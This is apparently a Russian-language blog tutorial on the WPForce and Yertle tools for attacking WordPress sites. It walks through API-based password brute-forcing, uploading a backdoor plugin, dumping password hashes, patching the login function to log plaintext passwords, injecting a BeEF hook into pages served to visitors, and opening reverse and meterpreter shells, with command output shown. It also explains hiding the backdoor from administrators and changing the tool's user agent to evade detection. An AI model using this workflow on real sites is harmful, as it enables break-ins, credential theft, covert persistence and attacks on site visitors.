WPForce: Bruteforce и эксплуатация скомпрометированных WordPress

WPForce: Bruteforce и эксплуатация скомпрометированных WordPress

Hackerland


Самым популярным инструментом для анализа WordPress является WPScan. Он способен найти уязвимые версии плагинов, тем и самого WordPress. Новый инструмент WPForce основывает свою работу на других принципах. WPForce выполняет брут-форс аутентификации WordPress не через форму входа, а использует вызовы API аутентификации для тестирования верности учётных данных. Это позволяет обойти некоторые защиты формы входа WordPress, по сравнению с другими программами, WPForce чуть менее заметен.


После удачного подбора учётных данных, скрипт-компаньон из набора WPForce – Yertle – может использоваться для выгрузки бэкдора на сервер с WordPress и выполнить ряд атак с применением модулей последующей эксплуатации.

Запуск Yertle сравнительно простой. Просто укажите URL, имя пользователя, пароль и тип бэкдора, я предпочитаю --interactive для интерактивного доступа.


После запуска скрипта, инструмент залогинется на сайт WordPress и выгрузит на него плагин. В любое время, когда вы захотите снова получить доступ к бэкдору, просто укажите аргумент -e с именем директории выгрузки. Плагин будет принимать команды наподобие оболочки SQLmap. Для просмотра доступных модулей, вы можете набрать “help” или “?”.


Основные команды

=============

   

Команда                   Описание

-------                   -----------

?                         Справка

beef                      Внедрить BeEF крюк в веб-сайт

exit                      Завершение сеанса

hashdump                  Сдампить все хеши паролей WordPress

help                      Справка

keylogger                 Патчит ядро WordPress для записи учётных данных в открытом виде

keylog                    Показывает файл с захваченными паролями

meterpreter               Выполняет PHP meterpreter stager для подключения metasploit

quit                      Завершение сеанса

shell                     Отправляет обратный TCP шелл на прослушивальщик netcat

stealth                   Прячет Yertle со страницы плагинов

Одним из полезных модулей последующей эксплуатации, который вы можете запустить, является hashdumphashdump зайдёт в SQL базу, запросит таблицу, содержащую хеши паролей и вернёт их в вывод. Затем вы можете взломать эти хеши и начать пробовать использовать эти учётные данные для продвижения буквально в другие системы.

os-shell> hashdump

ID: 1  - Username: admin  Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1  Email: Quaoar@localhost.com

ID: 2  - Username: wpuser  Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S.  Email: wpuser@localhost.com

ID: 3  - Username: n00py  Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/.  Email: n00py@protonmail.com

  

os-shell>

Мы можем собирать не только хеши, но мы можем также собрать учётные данные в виде простого текста. Это достигается пропатчиванием PHP файла внутри ядра WordPress. Это позволяет записывать все пароли в простом тексте в тот момент, когда пользователи вводят их для аутентификации.

os-shell> keylogger

This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y

wp_signon function patched.  Do not run this more than once.  Use 'keylog' to check the log file.

os-shell>

Перевод:

Этот модуль модифицирует файлы внутри ядра WordPress. Хотите продолжить? Введите Y для «Да».

Функция wp_signon пропатчена. Не запускайте это более одного раза. Используйте 'keylog' для проверки файла журнала.


После предупреждения, позволяющего пользователю узнать о модификациях, которые будут сделаны в ядре WordPress, будет пропатчена функция аутентификации.


Нужно дождаться, когда пользователи вновь залогинятся (именно введут свои учётные данные, а не просто зайдут на сайт), а затем просмотреть файл журнала, это можно сделать набрав команду “

keylog”. Она выведет учётные данные в виде простого текста.


os-shell> keylog

2017-03-30 - Username:  && Password:

2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword

Отойдём от сбора учётных данных, но останемся в сфере клиентских атак. Мы можем внедрить в сайт крюк BeEF. Это позволит атакующему запускать произвольный JavaScript у пользователей, находящихся на сайта.


os-shell> beef

This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y

IP Address: 10.0.1.16

BeEF hook added!  Check BeEF for any hooked clients. Do not run this multiple times.

Перевод:

Этот модуль модифицирует файлы внутри ядра WordPress. Вы хотите продолжить? (введите Y для «Да»)

IP адрес (введите IP адрес компьютера с запущенным BeEF): 10.0.1.16

BeEF добавлен! Проверьте BeEF на наличие подцепленных клиентов. Не запускайте это несколько раз.

После внедрения крюка, мы просто ждём, пока на сайте появятся пользователи. Когда пользователи открыли сайт, они становятся «подцепленными». В это время мы можем отправлять любую нагрузку JavaScript какую мы хотим. BeEF содержит большое количество атак, которые мы можем запустить в отношении клиента.


Демонстрация полезной нагрузки, выполняемой в клиентском браузере:


Вы можете также использовать другой тип оболочки. Для этого доступны две опции: обычный обратный TCP шелл и оболочка PHP meterpreter. Чтобы перейти на полностью интерактивную оболочку, просто запустите:


os-shell> shell

IP Address: 10.0.1.4

Port: 8080

Sending reverse shell to 10.0.1.4 port 8080

os-shell>

И прослушивайте выбранный порт для получения шелла:


root@Kali:~/WPForce$ nc -l 8080

bash: no job control in this shell

www-data@Quaoar:/var/www/wordpress/wp-content/plugins/aekpmsu$

Если вы хотите иметь шелл meterpreter, загрузите metasploit и запустите:


os-shell> meterpreter

IP Address: 10.0.1.4

Port: 4444

Sending meterpreter stager to connect back to 10.0.1.4:4444

os-shell>

И вы получите внутри metasploit оболочку meterpreter:


[*] Started reverse handler on 10.0.1.4:4444

[*] Starting the payload handler...

[*] Sending stage (33068 bytes) to 10.0.1.21

[*] Meterpreter session 1 opened (10.0.1.4:4444 -> 10.0.1.21:60763) at 2017-03-29 20:49:16 -0600

Наконец, есть пара способов быть более незаметным при использовании этого инструмента. По умолчанию, модуль регистрирует себя как плагин WordPress и этот плагин виден администратору.


Для удаления бэкдора из видимых плагинов, просто запустите команду “stealth”. Бэкдор всё равно будет доступен, его просто не будет видно внутри пользовательского интерфейса.


os-shell> stealth


Также важно упомянуть, что в качестве пользовательского агента Yertle по умолчанию отправляет “Yertle backdoor uploader”. В реальных условиях это значение следует переписать с помощью флага -a.